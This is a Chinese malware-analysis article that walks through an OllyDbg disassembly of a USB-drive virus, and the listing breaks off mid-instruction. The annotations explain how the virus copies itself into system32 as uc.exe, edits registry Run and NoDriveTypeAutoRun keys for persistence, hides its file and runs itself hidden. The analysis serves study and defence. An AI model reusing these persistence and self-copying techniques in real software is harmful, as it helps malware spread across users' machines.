【VC++开源代码栏目提醒】:网学会员鉴于大家对VC++开源代码十分关注,论文会员在此为大家搜集整理了“一个U盘病毒汇编源码分析 - 综合课件”一文,供大家参考学习
【文章作者】: newjueqi 【作者邮箱】: zengjiansheng1126.com 【作者QQ号】: 190678908 【编写语言】:
VC6.0 【使用工具】: OD 【操作平台】: XP-SP2 【作者声明】: 刚好U盘中了这个病毒就拿来研究一下没有其他目的。
失误之处敬请大家赐教 【题外话】: 分析完这个病毒后的感慨就是这个病毒一点都不像病毒反而像一个U盘编程的示范
代码虽然金山毒霸每次遇到它都兴奋得叫起来 -感觉对U盘编程有了一个基础的了解。
另外针对这个病毒本人作了一次PEDIY在源文件上插入汇编
代码 通过提前截获WM_CREATE消息使病毒运行时弹出一个对话框告诉用户中毒了 链接 http://bbs.pediy.com/showthread.phpt74527 0040288F gt 6A 0A push 0A 00402891 . 58 pop eax 00402892 gt 50 push eax 00402893 . FF75 9C push dword ptr ebp-64 00402896 . 56 push esi 00402897 . 56 push esi /pModule 00402898 . FF15 7C704000 call dword ptr ltampKERNEL32.GetModuleHandlgt GetModuleHandleA 0040289E . 50 push eax 0040289F . E8 5CE7FFFF call 00401000 关键转到RegisterClassA 0040100F . 50 push eax /pWndClass 00401010 . 897C24 28 mov dword ptr esp28 edi 00401014 . C74424 2C 00114gtmov dword ptr esp2C 00401100 窗口过程的地址 0040101C . 897C24 30 mov dword ptr esp30 edi 00401020 . 897C24 34 mov dword ptr esp34 edi 00401024 . 897424 38 mov dword ptr esp38 esi 00401028 . 897C24 3C mov dword ptr esp3C edi 0040102C . 897C24 40 mov dword ptr esp40 edi 00401030 . 897C24 44 mov dword ptr esp44 edi 00401034 . 897C24 48 mov dword ptr esp48 edi 00401038 . C74424 4C 4C804gtmov dword ptr esp4C 0040804C ASCII quotUUUUUUquot 00401040 . FF15 18714000 call dword ptr ltampUSER32.RegisterClassAgt RegisterClassA 00401137 gt 68 748B4000 push 00408B74 ASCII quotC:WINDOWSsystem32quot Case 1 WM_CREATE of switch 00401104 第一条分支 0040113C . C605 6D8A4000 3A mov byte ptr 408A6D 3A 3A也就是ASCII 码 “:” 00401143 . E8 E8000000 call 00401230 调用GetSystemDirectoryA获取系统的目录内容如下 00401230 / 8B4424 04 mov eax dword ptr esp4 auto.00408B74 00401234 . 68 04010000 push 104 /BufSize 104 260. 00401239 . 50 push eax Buffer 0040123A . FF15 64704000 call dword ptr ltampKERNEL32.GetSgt GetSystemDirectoryA 00401240 . C3 retn 00401148 . 8B4C24 08 mov ecx dword ptr esp8 0040114C . 83C4 04 add esp 4 0040114F . 6A 00 push 0 /Timerproc NULL 00401151 . 68 88130000 push 1388 Timeout 5000. ms 00401156 . 6A 01 push 1 TimerID 1 00401158 . 51 push ecx hWnd 00401159 . FF15 10714000 call dword ptr ltampUSER32.SetTimgt SetTimer 申请了一个时间周期为5秒的计时器 0040115F . 68 708A4000 push 00408A70 00401164 . E8 A7000000 call 00401210 调用GetModuleFileNameA获取病毒文件自身的路径内容如下 00401210 / 8B4424 04 mov eax dword ptr esp4 auto.00408A70 00401214 . 68 04010000 push 104 /BufSize 104 260. 00401219 . 50 push eax PathBuffer 0040121A . 6A 00 push 0 hModule NULL 0040121C . FF15 6C7040gtcall dword ptr ltampKERNEL32.GetModulegt GetModuleFileNameA 把病毒的文件路径保存在eax里 00401222 . F7D8 neg eax 00401224 . 1BC0 sbb eax eax 00401226 . F7D8 neg eax 00401228 . C3 retn 从以上分析可知道病毒初始化时做了3件事情 1. 获取系统目录的路径 2. 申请了一个时间周期为5秒的计时器 3. 获取了病毒自身的路径 下面继续分析 00401171 gt 8A15 708A40gtmov dl byte ptr 408A70 Case 113 WM_TIMER of switch 00401104 dl中存储的是病毒的路径 00401104 00401177 . 748B4000 mov al byte ptr 408B74 al中存储的是系统目录的路径 0040117C . 3AD0 cmp dl al 比较当前文件的路径是否和系统的路径的相同也就是检查当前文件是否在系统目录 0040117E . 75 19 jnz short 00401199 发现路径不相同就跳00401199 路径相同就检查有没有设备变化的信息 00401180 . 8B4424 04 mov eax dword ptr esp4 00401184 . 6A 00 push 0 /lParam 0 00401186 . 6A 00 push 0 wParam 0 00401188 . 68 19020000 push 219 Message WM_DEVICECHANGE 0040118D . 50 push eax hWnd 0040118E . FF15 147140gtcall dword ptr ltampUSER32.Sendgt SendMessageA 发送检查设备的信息 00401194 . 33C0 xor eax eax 清空eax 00401196 . C2 1000 retn 10 发现病毒文件不是从系统目录启动就执行下面的操作 00401199 gt 8B4C24 04 mov ecx dword ptr esp4 0040119D . 51 push ecx 0040119E . E8 AD000000 call 00401250 00401250 / 81EC 040100gtsub esp 104 00401256 . 8D4424 00 lea eax dword ptr esp 0040125A . 56 push esi 0040125B . 68 748B4000 push 00408B74 /String2 quotC:WINDOWSsystem32quot 00401260 . 50 push eax String1 00401261 . FF15 147040gtcall dword ptr ltampKERNEL32.lstrcgt lstrcpyA 复制系统路径 00401267 . 8B35 107040gtmov esi dword ptr ltampKERNEL32.gt kernel32.lstrcatA 0040126D . 8D4C24 04 lea ecx dword ptr esp4 把系统路径传到ecx 00401271 . 68 98804000 push 00408098 /StringToAdd quotquot 00401276 . 51 push ecx ConcatStringquotC:WINDOWSsystem32quot 00401277 . FFD6 call esi lstrcatA 调用字符串连接函数使系统路径变为quotC:WINDOWSsystem32quot 00401279 . 8B15 448040gtmov edx dword ptr 408044 auto.00408060 0040127F . 8D4424 04 lea eax dword ptr esp4 00401283 . 52 push edx /StringToAdd gt quotuc.exequot 00401284 . 50 push eax ConcatStringquotC:WINDOWSsystem32quot 00401285 . FFD6 call esi lstrcatA 路径变为quotC:WINDOWSsystem32 uc.exe quot 00401287 . 8D4C24 04 lea ecx dword ptr esp4 ecx中存放路径quotC:WINDOWSsystem32 uc.exe quot 0040128B . 51 push ecx 0040128C . E8 6F000000 call 00401300 检查系统目录中是否已存在要复制的文件 00401300 / 8B4424 04 mov eax dword ptr esp4 00401304 . 50 push eax /Path 00401305 . FF15 007140gtcall dword ptr ltampSHLWAPI.Pgt PathFileExistsA 0040130B . 48 dec eax 0040130C . F7D8 neg eax 0040130E . 1BC0 sbb eax eax 00401310 . 40 inc eax 00401311 . C3 retn 00401291 . 83C4 04 add esp 4 00401294 . 85C0 test eax eax 检查文件是否存在 00401296 . 5E pop esi 00401297 . 75 2F jnz short 004012C8 如果文件已经存在就跳 00401299 . 8D5424 00 lea edx dword ptr esp 0040129D . 50 push eax /FailIfExists 0040129E . 52 push edx NewFileName 0040129F . 68 708A4000 push 00408A70 004012A4 . FF15 347040gtcall dword ptr ltampKERNEL32.CopyFgt CopyFileA 把文件复制到系统目录 004012AA . 8D4424 00 lea eax dword ptr esp 004012AE . 50 push eax 004012AF . E8 7C000000 call 00401330 修改注册表使病毒文件开机自启动和U盘自动播放 00401330 / 83EC 08 sub esp 8 00401333 . 56 push esi 00401334 . 8B35 087040gtmov esi dword ptr gt ADVAPI32.RegOpenKeyA 0040133A . 8D4424 04 lea eax dword ptr gt 0040133E . 57 push edi 0040133F . 50 push eax /pHandle 00401340 . 68 E0804000 push 004080E0 Subkey quotSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerquot 00401345 . 68 01000080 push 80000001 hKey HKEY_CURRENT_USER 0040134A . C74424 18 0gtmov dword ptr espgt 00401352 . FFD6 call esi RegOpenKeyA 00401354 . 8B5424 08 mov edx dword ptr gt 00401358 . 8B3D 007040gtmov edi dword ptr gt ADVAPI32.RegSetValueExA 0040135E . 8D4C24 0C lea ecx dword ptr gt 00401362 . 6A 04 push 4 /BufSize 4 00401364 . 51 push ecx Buffer 00401365 . 6A 04 push 4 ValueType REG_DWORD 00401367 . 6A 00 push 0 Reserved 0 00401369 . 68 CC804000 push 004080CC ValueName quotNoDriveTypeAutoRunquot 0040136E . 52 push edx hKey 0040136F . FFD7 call edi RegSetValueExA 00401371 . 8D4424 08 lea eax dword ptr gt 00401375 . 50 push eax /pHandle 00401376 . 68 9C804000 push 0040809C Subkey quotSOFTWAREMICROSOFTWindowsCurrentVersionRunquot 0040137B . 68 02000080 push 80000002 hKey HKEY_LOCAL_MACHINE 00401380 . FFD6 call esi RegOpenKeyA 00401382 . 85C0 test eax eax 00401384 . 75 35 jnz short 004013BB 00401386 . 8B7424 14 mov esi dword ptr gt 0040138A . 56 push esi /String 0040138B . FF15 1C7040gtcall dword ptr ltampKEgt lstrlenA 00401391 . 8B0D 448040gtmov ecx dword ptr gt auto.00408060 00401397 . 8B5424 08 mov edx dword ptr gt 0040139B . 50 push eax /BufSize 0040139C . 56 push esi Buffer 0040139D . 6A 01 push 1 ValueType REG_SZ 0040139F . 6A 00 push 0 Reserved 0 004013A1 . 51 push ecx ValueName gt quotuc.exequot 004013A2 . 52 push edx hKey 004013A3 . FFD7 call edi RegSetValueExA 004013A5 . 8B4424 08 mov eax dword ptr gt 004013A9 . 50 push eax /hKey 004013AA . FF15 047040gtcall dword ptr ltampADgt RegCloseKey 004013B0 . 5F pop edi 004013B1 . B8 01000000 mov eax 1 004013B6 . 5E pop esi 004013B7 . 83C4 08 add esp 8 004013BA . C3 retn 004013BB gt 5F pop edi 004013BC . 33C0 xor eax eax 004013BE . 5E pop esi 004013BF . 83C4 08 add esp 8 004013C2 . C3 retn 004012B4 . 8D4C24 04 lea ecx dword ptr esp4 004012B8 . 51 push ecx 004012B9 . E8 62000000 call 00401320 设置病毒文件的属性为系统隐藏 00401320 / 8B4424 04 mov eax dword ptr gt 00401324 . 6A 06 push 6 /FileAttributes HIDDENSYSTEM 00401326 . 50 push eax FileName 00401327 . FF15 187040gtcall dword ptr ltampKEgt SetFileAttributesA 0040132D . C3 retn 如果病毒文件已经在系统目录下执行下面的操作这里从00401297跳过来 004012C8 gt E8 D3030000 call 004016A0 通过枚举进程列表查看自身是否已经运行 004016A0 / 81EC 280100gtsub esp 128 004016A6 . 56 push esi 004016A7 . 57 push edi 004016A8 . 6A 00 push 0 /ProcessID 0 004016AA . 6A 02 push 2 Flags TH32CS_SNAPPROCESS 004016AC . E8 BB000000 call ltjmp.ampKERNEL32.gt CreateToolhelp32Snapshot 004016B1 . 8BF0 mov esi eax 004016B3 . 8D4424 08 lea eax dword ptr gt 004016B7 . 50 push eax /lppe 004016B8 . 56 push esi hSnapshot 004016B9 . C74424 10 2gtmov dword ptr espgt 004016C1 . E8 A0000000 call ltjmp.ampKERNEL32.gt Process32First 004016C6 . 85C0 test eax eax 004016C8 . 74 4E je short 00401718 004016CA . 8B0D 448040gtmov ecx dword ptr gt auto.00408060 004016D0 . 8B3D 287040gtmov edi dword ptr gt kernel32.lstrcmpA 004016D6 . 8D5424 2C lea edx dword ptr gt 004016DA . 51 push ecx /String2 gt quotuc.exequot 004016DB . 52 push edx String1 004016DC . FFD7 call edi lstrcmpA 004016DE . 85C0 test eax eax 004016E0 . 74 21 je short 00401703 004016E2 gt 8D4424 08 /lea eax dword ptrgt 004016E6 . 50 push eax /lppe 004016E7 . 56 push esi hSnapshot 004016E8 . E8 73000000 call ltjmp.ampKERNEL32gt Process32Next 004016ED . 85C0 test eax eax 004016EF . 74 27 je short 00401718 004016F1 . 8B0D 448040gtmov ecx dword ptrgt auto.00408060 004016F7 . 8D5424 2C lea edx dword ptrgt 004016FB . 51 push ecx 004016FC . 52 push edx 004016FD . FFD7 call edi 004016FF . 85C0 test eax eax 00401701 . 75 DF jnz short 004016E2 00401703 gt 56 push esi /hObject 00401704 . FF15 207040gtcall dword ptr ltampKEgt CloseHandle 0040170A . 5F pop edi 0040170B . B8 01000000 mov eax 1 返回值为1 00401710 . 5E pop esi 00401711 . 81C4 280100gtadd esp 128 00401717 . C3 retn 00401718 gt 56 push esi /hObject 00401719 . FF15 207040gtcall dword ptr ltampKEgt CloseHandle 0040171F . 5F pop edi 00401720 . 33C0 xor eax eax 返回值为0 00401722 . 5E pop esi 00401723 . 81C4 280100gtadd esp 128 00401729 . C3 retn 判断自身有没有运行 004012CD . 85C0 test eax eax 通过在eax的返回值判断 004012CF . 75 20 jnz short 004012F1 004012D1 . 8D5424 00 lea edx dword ptr esp 004012D5 . 50 push eax /ShowState 004012D6 . 52 push edx CmdLine 004012D7 . FF15 607040gtcall dword ptr ltampKERNEL32.WinExgt WinExec 以隐藏的方式执行 004012DD . 8B8424 0801gtmov eax dword ptr esp108 004012E4 . 6A 00 push 0 /lParam 0 004012E6 . 6A 00 push 0 wParam 0 004012E8 . 6A 10 push 10 Message WM_CLOSE 004012EA . 50 push eax hWnd 004012EB . FF15 147140gtcal.
上一篇:
C语言实现ARP攻击(附源码)
下一篇:
村落共同体的核心架构研究